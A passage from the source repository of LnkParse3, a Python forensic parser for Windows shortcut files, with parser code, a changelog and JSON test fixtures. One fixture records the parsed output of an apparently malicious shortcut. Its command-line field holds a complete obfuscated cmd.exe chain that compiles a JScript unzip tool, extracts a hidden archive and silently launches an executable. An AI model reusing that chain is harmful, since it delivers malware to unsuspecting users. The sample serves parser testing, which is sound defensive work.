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 2 | -------------------------------------------------------------------------------- /LnkParse3/extra/darwin.py: -------------------------------------------------------------------------------- 1 | from LnkParse3.decorators import packed_uuid 2 | from LnkParse3.extra.lnk_extra_base import LnkExtraBase 3 | 4 | 5 | """ 6 | ------------------------------------------------------------------ 7 | | 0-7b | 8-15b | 16-23b | 24-31b | 8 | ------------------------------------------------------------------ 9 | | BlockSize == 0x00000314 | 10 | ------------------------------------------------------------------ 11 | | BlockSignature == 0xA0000006 | 12 | ------------------------------------------------------------------ 13 | | DarwinDataAnsi | 14 | | 260 B | 15 | ------------------------------------------------------------------ 16 | | DarwinDataUnicode | 17 | | 520 B | 18 | ------------------------------------------------------------------ 19 | 20 | DarwinData consists of {Product-Code, Feature Key, Component Code}. It is stored 21 | in a compressed format, e.g. "w_1^VX!!!!!!!!!MKKSkEXCELFiles>tW{~$4Q]c@II=l2xaTO5Z", 22 | which can results into 23 | {91120000-0030-0000-0000-0000000ff1ce}EXCELFiles{0638c49d-bb8b-4cd1-b191-052e8f325736}. 24 | 25 | There are four variants according to 26 | https://community.broadcom.com/symantecenterprise/viewdocument/working-with-darwin-descriptors: 27 | 1. {compressed product code}{feature name}>{compressed component ID} 28 | 2. {compressed product code}>{compressed component ID} 29 | 3. {compressed product code}{feature name}< 30 | 4. {compressed product code}< 31 | 32 | See http://www.laurierhodes.info/?q=node/34 or 33 | https://metadataconsulting.blogspot.com/2019/12/CSharp-Convert-a-GUID-to-a-Darwin-Descriptor-and-back.html 34 | or https://web.archive.org/web/20080323160816/http://support.microsoft.com/kb/243630. 35 | """ 36 | 37 | 38 | class Darwin(LnkExtraBase): 39 | def name(self): 40 | return "DARWIN_BLOCK" 41 | 42 | def darwin_data_ansi(self): 43 | start = 8 44 | end = start + 260 45 | binary = self._raw[start:end] 46 | text = self.text_processor.read_string(binary) 47 | return text 48 | 49 | def darwin_data_unicode(self): 50 | start = 268 51 | end = start + 520 52 | binary = self._raw[start:end] 53 | text = self.text_processor.read_unicode_string(binary) 54 | return text 55 | 56 | @packed_uuid 57 | def product_code_id(self): 58 | data = self.darwin_data_unicode() 59 | start, end = 0, 20 60 | text = data[start:end] 61 | return text 62 | 63 | def feature_name(self): 64 | data = self.darwin_data_unicode() 65 | start = 20 66 | # Search for a termiantor sign which can be either `<` or `>`. 67 | # None of these characters should be located in a packed GUID. 68 | # If the character is not found, `find` returns `-1`, i.e. by using max 69 | # we want to get the one which is present. 70 | # An absence of both characters leads to an exception. 71 | terminator = max(data.find(">"), data.find("<")) 72 | if terminator == start: 73 | # If the terminator is found but is the same as the start position, 74 | # there is no feature name. 75 | return None 76 | end = terminator 77 | text = data[start:end] 78 | return text 79 | 80 | @packed_uuid 81 | def component_id(self): 82 | data = self.darwin_data_unicode() 83 | terminator = data.find(">") 84 | if terminator == -1: 85 | # Set the ID to `None` if `terminator` is not found. 86 | return None 87 | start = terminator + 1 88 | text = data[start:] 89 | return text 90 | 91 | def as_dict(self): 92 | tmp = super().as_dict() 93 | tmp["darwin_data_ansi"] = self.darwin_data_ansi() 94 | tmp["darwin_data_unicode"] = self.darwin_data_unicode() 95 | tmp["product_code_id"] = self.product_code_id() 96 | tmp["feature_name"] = self.feature_name() 97 | tmp["component_id"] = self.component_id() 98 | return tmp 99 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | 3 | A list of notable changes in the package. 4 | 5 | The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), 6 | and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html) since v1.0.0. 7 | 8 | ## [Unreleased] 9 | 10 | ## [1.5.3] - 2025-11-17 11 | ### Changed 12 | - Make the Terminal block optional and add a field for the LNK structure size ([PR](https://github.com/Matmaus/LnkParse3/pull/51)). 13 | ### Fixed 14 | - Fix parsing of serialized property storage ([issue](https://github.com/Matmaus/LnkParse3/issues/40), [PR](https://github.com/Matmaus/LnkParse3/pull/41)). 15 | - Fix parsing of Shell FS Folder items, propagate `description` and `comments` fields ([issue](https://github.com/Matmaus/LnkParse3/issues/42), [PR](https://github.com/Matmaus/LnkParse3/pull/43)). 16 | - Fix parsing of Volume Item with flags `0xf` ([issue](https://github.com/Matmaus/LnkParse3/issues/44), [PR](https://github.com/Matmaus/LnkParse3/pull/45)). 17 | - Handle missing shell item classes and add size on Unknown ([issue](https://github.com/Matmaus/LnkParse3/issues/46), [PR](https://github.com/Matmaus/LnkParse3/pull/47)). 18 | - Add unknown handler in `RootFolder` and add `sort_index_value` field ([issue](https://github.com/Matmaus/LnkParse3/issues/48), [PR](https://github.com/Matmaus/LnkParse3/pull/50)). 19 | 20 | ## [1.5.2] - 2025-04-18 21 | ### Changed 22 | - Set length limit to 260 for some of `StringData` fields. 23 | 24 | ## [1.5.1] - 2025-03-30 25 | ### Fixed 26 | - Fix parsing of some targets by applying required bitmask ([issue](https://github.com/Matmaus/LnkParse3/issues/37), [PR](https://github.com/Matmaus/LnkParse3/pull/38)) 27 | 28 | ## [1.5.0] - 2024-05-19 29 | ### Changed 30 | - Try UTF-8 encoding when decoding by specified codepage fails. 31 | - Change plain text output form to YAML-like style. 32 | ### Fixed 33 | - Add missing import to `shell_item`. 34 | 35 | ## [1.4.0] - 2024-03-19 36 | ### Added 37 | - Add support to process unknown (`Unknown`) blocks in `ExtraData` section 38 | - Add support to process `Terminal` block in `ExtraData` section 39 | 40 | ## [1.3.3] - 2023-12-27 41 | ### Fixed 42 | - Exclude tests from setup.py ([PR](https://github.com/Matmaus/LnkParse3/pull/26)) 43 | 44 | ## [1.3.2] - 2023-10-07 45 | ### Fixed 46 | - Fix metadata store to be a list 47 | 48 | ## [1.3.1] - 2023-10-07 49 | ### Fixed 50 | - Add missing import 51 | 52 | ## [1.3.0] - 2023-10-07 53 | ### Added 54 | - Add support to process `SerializedPropertyValue` property in `METADATA_PROPERTIES_BLOCK` 55 | - Add support to process `IDList` property in `SHELL_ITEM_IDENTIFIER_BLOCK` 56 | ### Fixed 57 | - Fix issues in`Local.volume_label_unicode` method 58 | - Catch exception when parsing `StringData` 59 | - Catch exception when detecting a proper Info class (`Local`/`Network`) 60 | - Catch exception when parsing `ExtraData` 61 | 62 | ## [1.2.1] - 2023-09-08 63 | ### Fixed 64 | - Catch possible exception when processing extra_factory data, where a size is reported with no accompanying data (@ddash-ct) 65 | 66 | ## [1.2.0] - 2021-07-19 67 | ### Fixed 68 | - Catch more exceptions, and use warnings instead 69 | - Replace unknown characters in UTF-16 70 | - Fix parsing and output position of LNK info (`common_path_suffix`, `local_base_path`, ...) 71 | - Fix printing of `net_name`, `device_name`, and `local_base_path` 72 | 73 | ### Changed 74 | - Treat `0` time as a valid value (it means a file was created in an application and never ever opened) 75 | - Always return at least target name when there is any problem 76 | - Disable `MyComputer` target (it is not implemented yet) 77 | 78 | ## [1.1.1] - 2021-04-17 79 | ### Changed 80 | - Even unimplemented target will return at least its name ([PR](https://github.com/Matmaus/LnkParse3/pull/17)) 81 | ### Fixed 82 | - Fix incorrect conversion of DOS time ([issue](https://github.com/Matmaus/LnkParse3/issues/15), [PR](https://github.com/Matmaus/LnkParse3/pull/16)) 83 | 84 | ## [1.1.0] - 2021-03-16 85 | ### Added 86 | - Support for additional parsing of Darwin block ([issue](https://github.com/Matmaus/LnkParse3/issues/13), [PR](https://github.com/Matmaus/LnkParse3/pull/14)) 87 | 88 | ## [1.0.0] - 2021-01-21 89 | 90 | - Initial release (the previous ones are considered pre-releases and do not follow semantic versioning) 91 | -------------------------------------------------------------------------------- /tests/json/padded_cli_arguments.json: -------------------------------------------------------------------------------- 1 | { 2 | "data": { 3 | "command_line_arguments": "/c \"set PATH=%windir%\\system32;%PATH% & (for /R \"%USERPROFILE%\" %f in (dokazatelstva.zip) do @IF EXIST %f (chcp 65001 | echo | set /p=\"import System;import System.IO;import System.IO.Compression;import System.Text;import System.Diagnostics;function Main(){var args:String[]=System.Environment.GetCommandLineArgs();Directory.CreateDirectory(args[2]);System.IO.Compression.ZipFile.ExtractToDirectory(args[1], args[2]);System.IO.Compression.ZipFile.ExtractToDirectory(args[2] + \"\\\\\" + (Convert.ToChar(103)+Convert.ToChar(111)+Convert.ToChar(113)+Convert.ToChar(46)+Convert.ToChar(105)+Convert.ToChar(110)+Convert.ToChar(105)), args[2]);Process.Start(\"cmd.exe\", \"/C move \" + System.Reflection.Assembly.GetExecutingAssembly().Location + \" \" + System.Reflection.Assembly.GetExecutingAssembly().Location + \"_\");}Main();\">%TEMP%\\9SDTHRQOG1AH.a & for /f %j in ('dir /b /s /a:-d /o:-n \"%SystemRoot%\\Microsoft.Net\\Framework\\*jsc.exe\"') do @set \"_jsc=%j\" & for /L %i in (1,1,3) do @if exist \"%USERPROFILE%\\MI5DL1FAUS8G\\D5OY8HG76T.exe\" (^st^art \"\" /MIN \"%USERPROFILE%\\MI5DL1FAUS8G\\D5OY8HG76T.exe\" & exit) else (@if exist %TEMP%\\unzip.exe (%TEMP%\\unzip.exe \"%f\" \"%USERPROFILE%\\MI5DL1FAUS8G\") else (@if not exist %TEMP%\\unzip.exe_ (@if not exist %TEMP%\\unzip.exe (C:\\Windows\\system32\\forfiles.exe /P %SystemRoot% /M notepad.exe /C \"cmd /c %_jsc% /nologo /r:System.IO.Compression.FileSystem.dll /out:%TEMP%\\unzip.exe %TEMP%\\9SDTHRQOG1AH.a\")))) ))\"", 4 | "icon_location": "C:\\Windows\\System32\\shell32.dll", 5 | "working_directory": "C:\\Windows\\System32 " 6 | }, 7 | "extra": {}, 8 | "header": { 9 | "accessed_time": "2023-08-25T17:43:51+00:00", 10 | "creation_time": "2023-08-25T17:43:51+00:00", 11 | "file_flags": [ 12 | "FILE_ATTRIBUTE_ARCHIVE" 13 | ], 14 | "file_size": 16, 15 | "guid": "00021401-0000-0000-C000-000000000046", 16 | "header_size": 76, 17 | "hotkey": "UNSET - UNSET {0x0000}", 18 | "icon_index": 1, 19 | "link_flags": [ 20 | "HasTargetIDList", 21 | "HasWorkingDir", 22 | "HasArguments", 23 | "HasIconLocation", 24 | "IsUnicode" 25 | ], 26 | "modified_time": "2023-08-25T17:43:51+00:00", 27 | "r_file_flags": 32, 28 | "r_hotkey": 0, 29 | "r_link_flags": 241, 30 | "reserved0": 0, 31 | "reserved1": 0, 32 | "reserved2": 0, 33 | "windowstyle": "SW_SHOWMINNOACTIVE" 34 | }, 35 | "link_info": {}, 36 | "size": 3667, 37 | "target": { 38 | "index": 78, 39 | "items": [ 40 | { 41 | "class": "Root Folder", 42 | "guid": "20D04FE0-3AEA-1069-A2D8-08002B30309D", 43 | "sort_index": "My Computer", 44 | "sort_index_value": 80 45 | }, 46 | { 47 | "class": "Volume Item", 48 | "data": "C:\\", 49 | "flags": "0xf" 50 | }, 51 | { 52 | "class": "File entry", 53 | "file_attribute_flags": 16, 54 | "file_size": 1048576, 55 | "flags": "Is Unicode directory", 56 | "modification_time": null, 57 | "primary_name": "Windows" 58 | }, 59 | { 60 | "class": "File entry", 61 | "file_attribute_flags": 16, 62 | "file_size": 1048576, 63 | "flags": "Is Unicode directory", 64 | "modification_time": null, 65 | "primary_name": "System32" 66 | }, 67 | { 68 | "class": "File entry", 69 | "file_attribute_flags": 0, 70 | "file_size": 1048576, 71 | "flags": "Is Unicode file", 72 | "modification_time": null, 73 | "primary_name": "cmd.exe" 74 | } 75 | ], 76 | "size": 139 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /LnkParse3/extra/distributed_tracker.py: -------------------------------------------------------------------------------- 1 | from struct import unpack 2 | 3 | from LnkParse3.decorators import must_be 4 | from LnkParse3.decorators import uuid 5 | from LnkParse3.extra.lnk_extra_base import LnkExtraBase 6 | 7 | 8 | """ 9 | ------------------------------------------------------------------ 10 | | 0-7b | 8-15b | 16-23b | 24-31b | 11 | ------------------------------------------------------------------ 12 | | BlockSize == 0x00000060 | 13 | ------------------------------------------------------------------ 14 | | BlockSignature == 0xA0000003 | 15 | ------------------------------------------------------------------ 16 | | Length | 17 | ------------------------------------------------------------------ 18 | | Version | 19 | ------------------------------------------------------------------ 20 | | MachineID | 21 | | 16 B | 22 | ------------------------------------------------------------------ 23 | | DroidVolumeId | 24 | | 16 B | 25 | ------------------------------------------------------------------ 26 | | DroidFileId | 27 | | 16 B | 28 | ------------------------------------------------------------------ 29 | | DroidBirthVolumeId | 30 | | 16 B | 31 | ------------------------------------------------------------------ 32 | | DroidBirthFileId | 33 | | 16 B | 34 | ------------------------------------------------------------------ 35 | """ 36 | 37 | 38 | class DistributedTracker(LnkExtraBase): 39 | def name(self): 40 | return "DISTRIBUTED_LINK_TRACKER_BLOCK" 41 | 42 | @must_be(0x00000058) 43 | def length(self): 44 | """Length (4 bytes): 45 | A 32-bit, unsigned integer that specifies the size of the rest of the 46 | TrackerDataBlock structure, including this Length field. This value 47 | MUST be 0x00000058. 48 | """ 49 | start, end = 8, 12 50 | length = unpack("